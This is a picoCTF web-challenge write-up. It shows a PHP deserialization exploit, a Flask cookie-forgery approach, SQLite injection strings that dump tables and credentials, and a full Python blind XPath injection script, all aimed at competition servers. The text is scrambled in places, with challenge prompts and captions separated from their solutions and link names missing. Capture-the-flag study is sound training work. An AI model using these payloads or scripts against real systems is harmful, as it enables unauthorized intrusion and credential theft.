I must have been sleep hacking or something, I don't remember visiting all of these sites... (try a couple different browsers if it's not working right)
Solution
Search for "history" in source code:
GET aHEAD (HTTP HEAD Method)
Solved by ret2basic
Challenge
Solution
Change the HTTP method to HEAD:
Cookies (Cookie Editor)
Solved by ret2basic
Challenge
Solution
Enter "snickerdoodle" in the searching box and now we are redirected to /check:
We are assigned a cookie name=0. Change this cookie to name=1, name=2, and so on. Eventually the flag is shown when name=18:
Scavenger Hunt (Common Files)
Solved by ret2basic
Challenge
Solution
Flag is divided into 5 parts:
View source code.
Examine mycss.css.
Examine /robots.txt.
Examine /.htaccess.
Examine /.DS_Store.
Who are you? (HTTP Request Methods)
Solved by ret2basic
Challenge
Solution
The challenge says:
Step 1
Set User-Agent: PicoBrowser to satisfy the browser requirement:
Step 2
Set Referer: http://mercury.picoctf.net:1270/ to satisfy the same-site requirement:
Step 3
Set Date: Wed, 21 Oct 2018 07:28:00 GMT to satisfy the date requirement:
Step 4
Set DNT: 1 to satisfy the Do-Not-Track requirement:
Step 5
Set X-Forwarded-For: 31.44.224.128 to satisfy the geographic location requirement:
Step 6
Set Accept-Language: en-US,en;q=0.9, sv to satisfy the language requirement:
It tells us the existence of cookie.php and authentication.php. Grab the source code using the same method:
cookie.phps
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
authentication.phps
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
Solution
The insecure deserialization is triggered by the unserialize() function in cookie.phps:
The idea is to utilize the access_log class in authentication.phps. This class is supposed to read the access log, but we could let it dump the content of ../flag. The payload object is:
And what made this attack viable is the die("...".$perm); function call, as well as the __toString() method in the class access_log, __toString tells PHP how the object can be interpretered as string. If you take a closer look, the __toString() in access_log class will return the value of read_log function. Since the access_log class does not have is_admin and is_guest method, it will result an error, and then the die function will print a debug message. Otherwise it would not return anything as file_get_contents simply does not output anything.
Exploit
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
// require_once("cookie.php");
// if(isset($perm) && $perm->is_admin()){
// $msg = "Welcome admin";
// $log = new access_log("access.log");
// $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
// } else {
// $msg = "Welcome guest";
// }
echo base64_encode(serialize(new access_log("../flag")))
?>
Most Cookies (Flask Cookie Forgery)
Solved by ret2basic
Challenge
Source Code
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
Solution
To learn about how to forge Flask session cookie, read the following article:
First, let's identify the vulnerability. The secret key used is predictable:
We could simply brute-force all possible secret keys and see if any of them works.
Examine the session cookie:
This cookie evaluates to {'very_auth': 'blank'}, and our objective is forging a cookie that evaluates to {'very_auth': 'admin'}.
In that payload we used /**/ (empty comment) to represent space. Note that this challenge does not filter spaces at all. We could simply delete all /**/:
' || X'61646D696E'%00
The corresponding SQL query becomes:
SELECT username, password FROM users WHERE username='' || X'61646D696E'' AND password='a';
Send the payload as username and password can be anything. Send this POST request with burp. This payload also solves Web Gauntlet 3.
Immediately it asks us to login, and notice the Register on the top left corner? Why the hell not? And spoiler, this isn't part of the actual challenge. Upon loggin in, we see some kind of donation page.
I first tried some letters but apparently it's doing some kind of checking. Since I didn't seem to have any credits so I just entered a huge number, and nothing seemed to happen. Then I tried to intercept the request and realized there is a captcha included in this form. Lucky for us, this captcha is custom generated and not by google.
So I tried some basic stuff, like SSTI, Command Injection, and last, SQL Injection. And the last time, the contribute.php returned a database error message.
Then I knew I was onto something, and after checking the hints provided by the organizers, I learned the database is SQLite, so I tried some test query like
'||(sqlite_version())||'
And I knew I definitely didn't donate 3.22.0. The rest is just regular procedure, dump the database and get the flag.
Dump table names:
'||(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')||'
Next, dump column names:
'||(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='startup_users')||'
The last part is then to dump the table and see if flag is in there.
'||(SELECT group_concat(nameuser,wordpass) FROM startup_users LIMIT 1)||'
A bit messy, but you can see find the flag in the text.
Some Assembly Required 4 (WebAssembly)
Solved by ret2basic
Challenge
Solution
X marks the spot (Blind XPATH Injection)
Solved by y4y
Challenge
Solution
According to the prompt, we know it's yet another injection problem. And the hint told us that it has something to do with XPATH. Originally I thought this was to use SQL XPATH Error Injection, but later on I realized it was just simply XPATH Injection (From testing functions and stuff).
I could very well be wrong, but XPATH is some kind of query language for XML. After A LOT of research, I finally found some useful function I can use for the injection. Let's talk about them.
count(node) will return how many child nodes does this particular node have. string-length() will return the length of string, you guessed it. local-name() will return the attribute name of the node. substring() does exactly what you expect it to.
To make thing more clear, let's use an example. Here is a sample XML file.
And count(login)=1 because there is only one node of login, and count(user)=2 because there are two user nodes. Then local-name(login)=login as you expected.
Then let's talk about the path in XML files. Like in Linux directories, / means root, so if I want to represent the Alice node, I shall use /login/users/user[1]/, the [1] means the position of node. And of course, the wildcard /* means all of the child nodes.
With those knowledge, we can first try to leak the root node. The payload I used was:
name=&pass=' or string-length(local-name(/*))='1
And we can slowly leak the length of root node's name. Then we use the substring() function to dump the name. Rinse and repeat. Eventually we will leak the entire node tree.
I used the exploit below to dump the nodes which mattered. Essentially the structure was like:
And if you are curious about the other stuff, try modify the exploit and dump 'em all. It's gonna take forever, I probably should do a binary search, but meh.
Exploit
#!/usr/bin/env python3
import requests
import string
url = 'http://mercury.picoctf.net:53735/'
pool = string.printable
def leak_root(url):
root_name = ''
name_length = 0
while 1:
data = {
'name': '',
'pass': f"' or string-length(local-name(/*))='{name_length}"
}
req = requests.post(url, data=data)
print(f"Now trying name length: {name_length}")
if 'failure' in req.text:
name_length += 1
else:
break
print(f"Get root name length: {name_length}")
for i in range(1, name_length + 1):
for c in pool:
data = {
'name': '',
'pass': f"' or substring(local-name(/*),{i},1)='{c}"
}
req = requests.post(url, data=data)
print(f"Now trying root name: {root_name + c}")
if 'right path.' in req.text:
root_name += c
break
print(f"Found root name: {root_name}")
def leak_node(url, root):
node_number = 0
nodes = []
while 1:
data = {
'name': '',
'pass': f"' or count(/{root}/*)='{node_number}"
}
req = requests.post(url, data=data)
print(f"Now trying node number: {node_number}")
if 'failure' in req.text:
node_number += 1
else:
break
for n in range(1, node_number + 1):
name_length = 0
node_name = ''
while 1:
data = {
'name': '',
'pass': f"' or string-length(local-name(/{root}/*[{n}]))='{name_length}"
}
req = requests.post(url, data=data)
print(f"Now trying node {n} with name length: {name_length}")
if 'failure' in req.text:
name_length += 1
else:
break
print(f"Got node {n} with name length {name_length}")
for i in range(1, name_length + 1):
for c in pool:
data = {
'name': '',
'pass': f"' or substring(local-name(/{root}/*[{n}]),{i},1)='{c}"
}
req = requests.post(url, data=data)
print(f"Now trying node {n} with name: {node_name + c}")
if 'right path.' in req.text:
node_name += c
break
nodes.append(node_name)
print(f"Found nodes: {nodes}")
def leak_data(url, node):
leaked = ''
data_length = 0
while 1:
data = {
'name': '',
'pass': f"' or string-length(/{node})='{data_length}"
}
req = requests.post(url, data=data)
print(f"Now trying node {node} with attribute length: {data_length}")
if 'failure' in req.text:
data_length += 1
else:
break
for i in range(len(leaked) + 1, data_length + 1):
for c in pool:
data = {
'name': '',
'pass': f"' or substring(/{node},{i},1)='{c}"
}
req = requests.post(url, data=data)
print(f"({len(leaked)}/{data_length})Now trying node {node} with value: {leaked + c}")
if 'right path.' in req.text:
leaked += c
break
print(f"Leaked data of node {node} has value of: {leaked}")
# leak_root(url)
# leak_node(url, 'db/users')
# leak_node(url, 'db/users[1]')
# user[3] has username of admin.
# leak_data(url, 'db/users/user[3]/name')
leak_data(url, 'db/users/user[3]/pass')
Find the flag being held on this server to get ahead of the competition
Who doesn't love cookies? Try to figure out the best one.
There is some interesting information hidden around this site . Can you find it?
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn
The JavaScript code G82XCw5CX3.js is obfuscated. Deobfuscate it with :
I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website.
has an amazing writeup on all kinds of collisions . For this challenge, simply use and :
flag
This level won't be as easy as Some Assembly Require 1. To learn more about WebAssembly Text Format, read .
Same story, deobfuscate the Javascript code with :
To decompile the WebAssembly binary, use :
Encrypted
check_flag
Try to recover the flag stored on this website
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py
The author of this article even built an automation tool named . We will be using this tool in this challenge.
This website looks familiar... Log in as admin Site: Filter:
This challenge builds upon . Grab the payload and read the explanation.
An even simpler payload is adm'||'in'%00, where we use || to concatenate strings and %00 (null byte) instead ; to terminate the SQL statement. Check out .
Do you want to fund my startup?
Login page
Donation page
Burp
Database error
SQLite version leak
Table name leak
Column name leak
Dump table
Another login you have to bypass. Maybe you can find an injection that works?
Last time, I promise! Only 25 characters this time. Log in as admin Site: Filter:
Code management software is way too bloated. Try our new lightweight solution, BitHug. Source:
